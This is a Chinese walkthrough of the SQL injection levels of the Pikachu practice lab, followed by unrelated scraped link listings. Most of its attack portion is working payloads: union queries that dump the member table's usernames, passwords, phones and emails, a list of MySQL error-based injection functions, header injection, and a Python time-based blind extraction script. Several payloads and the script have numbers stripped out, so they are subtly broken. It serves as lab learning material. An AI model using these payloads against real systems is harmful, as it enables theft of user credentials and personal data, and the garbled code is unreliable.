1.数字型注入(POST)

可以看到,这个参数提交是POST类型的,用burp。

测试参数id

id='&submit=%E6%9F%A5%E8%AF%A2

可以看到有报错回显,而且根据回显可以判断这个注入为数字型注入,构造payload

查询此表单有多少列

确定只有两列,union注入

id=- union select database(),version()

查询出数据库名为pikachu  数据库版本为5.5.39

继续查询pikachu数据库内有什么表

id=- union select group_concat(table_name), from information_schema.tables where table_schema='pikachu'

继续查询member表内有什么列、

id=- union select group_concat(column_name), from information_schema.columns where table_name='member'

查询所有字段

id=- union select group_concat(id,username,pw,sex,phonenum,address,email), from member

用户表里的所有数据就被注入出来了。

2.字符型注入(get)

先尝试查询

测试sql注入

allen'

出现报错,说明此字符型注入为 ' 闭合

说明闭合成功,没有 ) 存在,而且经过测试没有过滤。所以直接用第一关的payload即可

allen' union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#

所有用户数据都被注入出来了

3.搜索型注入

测试一下

说明后台语句将参数传递进去时,查询语句的的目标为 al%'

测试发现没有过滤,直接用之前的payload,但是又有一点不同,这里有三个回显位,所以要加一个字段

%' union select group_concat(id,username,pw,sex,phonenum,address,email),2,3 from member#

所有用户数据都被注入出来了

4.xx型注入

照常测试

allen'

回显报错

说明此语句闭合为   ('allen')

并且经过测试,此查询位置也没有过滤,可以直接用第二关的payload,稍微改造一下。

-') union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#

用户信息都被注入出来。

5.insert/update注入

根据判断,此关为insert/update注入,应该是在注册或者修改用户账号信息的时候存在注入漏洞,如图。

大致判断此处insert语句为

insert into user(name,password,sex,phone,address1,address2) value('','','','','','')

所以这里没办法使用select拼接,且无回显,我们需要利用报错注入来使数据库将目标信息当做错误信息返回回来

我们在这里使用最省力气的方法,如果在前几个字段注入,肯定还要闭合后面的字段,所以我们直接注入最后一个地址,而地址肯定为字符型,所以我们可以直接构造payload如下,前几个瞎填就行,因为这是最后一个字段,所以闭合括号之后,直接用#注释掉之后的语句即可

aaa' and 1=(updatexml(1,concat(0x3a,(select user())),1)))#

报错信息回显,select user()执行成功,而且此位置无过滤,想获得其他信息,参考之前的payload

除此之外,还有很多可以导致报错注入的函数。在这里分享一下。

、通过floor报错,注入语句如下:
and (select from (select count(*),concat(version(),floor(rand()*))x from information_schema.tables group by x)a); 、通过ExtractValue报错,注入语句如下:
and extractvalue(, concat(0x5c, (select table_name from information_schema.tables limit ))); 、通过UpdateXml报错,注入语句如下:
and =(updatexml(,concat(0x3a,(select user())),)) 、通过NAME_CONST报错,注入语句如下:
and exists(select*from (select*from(selectname_const(@@version,))a join (select name_const(@@version,))b)c) 、通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c; 、通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) ); 、通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b ); 、通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b ); 、通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b ); 、通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b ); 、通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b ); 、通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

同理,做update注入,update肯定在修改个人信息的位置,我们同样选择最后一个框框,省事。

还利用刚才的payload

aaa' and 1=(updatexml(1,concat(0x3a,(select user())),1)))#

结果发现报错了

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')#' where username='allen'' at line 1

这时才想起来update语句不太一样,update语句格式如下

UPDATE `member` SET `id`=[value-],`username`=[value-],`pw`=[value-],`sex`=[value-],`phonenum`=[value-],`address`=[value-],`email`=[value-] WHERE 

所以不管在哪个列都要闭合,所以改一下payload

aaa' and 1=(updatexml(1,concat(0x3a,(select user())),1)) and '

返回结果正确

其他数据,利用select语句查询。

6.delete注入

此关长这样,判断应该是先留言,然后在删除的时候可以触发delete注入

先留个严,查看删除链接。

可以判断这个id参数存在delete注入,先查看delete语句模板

DELETE FROM `member` WHERE id=$id;

直接构造payload

and =(updatexml(,concat(0x3a,(select user())),))

然后直接访问url

http://127.0.0.1/pikachu/vul/sqli/sqli_del.php?id=58 and 1=(updatexml(1,concat(0x3a,(select%20user())),1))

看到delete报错注入成功

其他信息利用select查询。

7.http header注入

首先发现需要登录,那就先登录试试。

发现他获取了我的http头信息,所以应该是在http头构造sql语句。burp抓一下包

因前端回显只有

Host: 127.0.0.1'or ''='
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/ Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

所以在这三处进行测试。

accept数据出现在报错信息里,所以注入点应该是在User-Agent

测试User-Agent发现,此处没有回显,可以猜测此处是先插入数据库,再输出到前端页面。所以我们可以使用报错注入。

1'and 1=(updatexml(1,concat(0x3a,(select user())),1)) and '

发现注入成功。

8.盲注(based on boolian)

测试

然后测试 allen'

注释掉之后的语句

发现数据库有两列

然后经过测试发现,此处根本不需要盲注。

此关和字符型注入的差别就是,此关只能输出一行回显,所以一些人认为只能盲注。

但是我们只需要吧查询的字符改为不存在的字符,使得第一行消失,联合查询的结果就可以回显。所以我们使用下面的payload即可

-' union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#

9.盲注(based on time)

照常测试,发现不管输入正确的用户名还是错误的用户名,回显都是  i don't care who you are!

说明后台并没有将数据库命令执行信息回显到前端。这种情况只能使用时间盲注。

先测试一下数据库名的长度

allen' and If(length(database())=7,sleep(5),1)#

发现当length为7的时候  执行了sleep(5)所以,数据库名长度为7

写脚本。

import requests
import urllib
headers = {
"Host": "127.0.0.1" ,
"Connection": "keep-alive" ,
"Upgrade-Insecure-Requests": "" ,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" ,
"Sec-Fetch-User": "?1" ,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" ,
"Sec-Fetch-Site": "same-origin" ,
"Sec-Fetch-Mode": "navigate ",
"Referer": "http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php" ,
"Accept-Encoding": "gzip, deflate, br ",
"Accept-Language":"zh-CN,zh;q=0.9"}
cookies = {
"Cookie":" PHPSESSID=899k0pd0igmcrftk05e1iqo806 "} def six_six_six(url):
flag = ''
for j in range():
for i in 'abcdefghijklmnopqrstuvwxyz0123456789{}_':
data = url + "allen%27+and+If%28ascii%28substr%28database%28%29%2C{j}%2C1%29%29%3D{i}%2Csleep%285%29%2Cnull%29%23&submit=%E6%9F%A5%E8%AF%A2".format(j=j+,i=ord(i))+r"&submit=查询#"
try:
requests.get(url=data,headers = headers,cookies = cookies,timeout=)
except:
flag=flag+i
print('[*]%s'%flag)
break
print('[+]%s'%flag) url = 'http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php?name='
six_six_six(url)
'''sleep((select(flag)from(flag)where(flag)like('f%'))like('f%'))
(select(flag)from(flag)where(flag)like('f%'))like('f%')
(select(flag)from(flag)where(flag)like('f%'))'''

跑一下

成功跑出数据库名

想注入出其他的信息,可以利用下面的payload

allen%+and+If%28ascii%28substr%28select table_name from information_schema.tables where table_schema = 'pikachu' limit ,%2C{j}%2C1%%%3D{i}%2Csleep%%%2Cnull%%&submit=%E6%9F%A5%E8%AF%A2

其他与之前的代码相同。

10.宽字节注入

先抓包。

已经知道此关为宽字节注入,但是pikachu不好的地方就是这里,因为此关没有报错回显,所以没有比较好的办法去判断此处是不是宽字节注入。

宽字节注入最明显的一个特征就是GBK编码,GBK编码与ascii编码和utf-8不同的地方就是GBK会吃字符。比如说在服务端开启了转义函数后 %df' 就会被编码成 運’

但是在此关因为没有回显,只能强行闭合。

kobe%df' or =#

同理payload 可以为

allen%df' union select group_concat(id,username,pw,sex,phonenum,address,email),2 from member#

其他与之前的相同

pikachu SQL-Injection的更多相关文章

  1. druid sql黑名单 报异常 sql injection violation, part alway true condition not allow

    最近使用druid,发现阿里这个连接池 真的很好用,可以监控到连接池活跃连接数 开辟到多少个连接数 关闭了多少个,对于我在项目中查看错误 问题,很有帮助, 但是最近发现里面 有条sql语句 被拦截了, ...

  2. PHP+MYSQL网站SQL Injection攻防

    程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程:他们会先尝试着让程序报 ...

  3. SQL Injection(SQL注入漏洞)

    审计前准备: 1.安�php程序(推荐phpStudy) 2.高亮编辑器(推荐 Sublimetext Notepad++) 3.新建一个文本,复制以下变量,这些变量是审计中需要在源码中寻找的 ### ...

  4. HP+MYSQL网站SQL Injection攻防

    WebjxCom提示:程序员们写代码的时候讲究TDD(测试驱动开发):在实现一个功能前,会先写一个测试用例,然后再编写代码使之运行通过.其实当黑客SQL Injection时,同样是一个TDD的过程: ...

  5. Cacti /graphs_new.php SQL Injection Vulnerability

    catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 other SQL injection vulnerability ...

  6. ecshop /search.php SQL Injection Vul

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 ECSHOP商城系统Search.php页面过滤不严导致SQL注入漏洞 ...

  7. ecshop /pick_out.php SQL Injection Vul By Local Variable Overriding

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 在进行输入变量本地模拟注册的时候,没有进行有效的GPC模拟过滤处理,导出 ...

  8. How to prevent SQL injection attacks?

    In our earlier tutorial on SQL Injection, one way to have prevented the SQL injection attack was by ...

  9. Zabbix 3.0.3 SQL Injection

    Zabbix version 3.0.3 suffers from a remote SQL injection vulnerability. ============================ ...

  10. SQL injection

    SQL injection is a code injection technique, used to attack data-driven applications, in which malic ...

随机推荐

  1. Note | PyTorch

    目录 0. 教程和笔记 1. 模型操作 2. 网络设计 卷积图示 填充(padding) 升采样 全连接层 3. 损失函数 交叉熵 4. 系统或环境交互 模型加载 5. 犯过的错误 损失异常 测试显存 ...

  2. orchard 中文文档 中英对照版

    ORCHARD CMS a free, open source, community-focused Content Management System built on the ASP.NET MV ...

  3. IPv6 邻居状态迁移

  4. Unreal Engine 4 系列教程 Part 7:音频教程

    .katex { display: block; text-align: center; white-space: nowrap; } .katex-display > .katex > ...

  5. Mac终端常用快捷键

    Ctrl + a 跳到行首Ctrl + e 跳到行尾Ctrl + d 删除一个字符,相当于通常的Delete键(命令行若无所有字符,则相当于exit:处理多行标准输入时也表示eof)Ctrl + h ...

  6. SpringBoot入门-SpringBoot性能优化

    SpringBoot启动优化 显示声明扫包范围: 即不使用@SpringBootApplication默认扫包,使用@ComponentScan(basePackages = { "com. ...

  7. hive on spark 释放session资源

    背景 启动hive时,可以看到2.0以后的版本,将要弃用mr引擎,官方建议使用spark,tez等引擎. spark同时支持批式流式处理,可以减少学习成本.所以选用了spark作为执行引擎. hive ...

  8. vue.js过度&动画、混入&插件

    1.vue  过度动画 1.过度 Vue 在插入.更新或者移除 DOM 时,提供多种不同方式的应用过渡效果.Vue 提供了内置的过渡封装组件,该组件用于包裹要实现过渡效果的组件. 语法格式: < ...

  9. Lambda 表达式构建初级示例(不完整)

    直接贴代码了: using System; using System.Collections.Generic; using System.Linq; using System.Linq.Express ...

  10. 2018-8-10-win10-uwp-拖动控件

    原文:2018-8-10-win10-uwp-拖动控件 title author date CreateTime categories win10 uwp 拖动控件 lindexi 2018-08-1 ...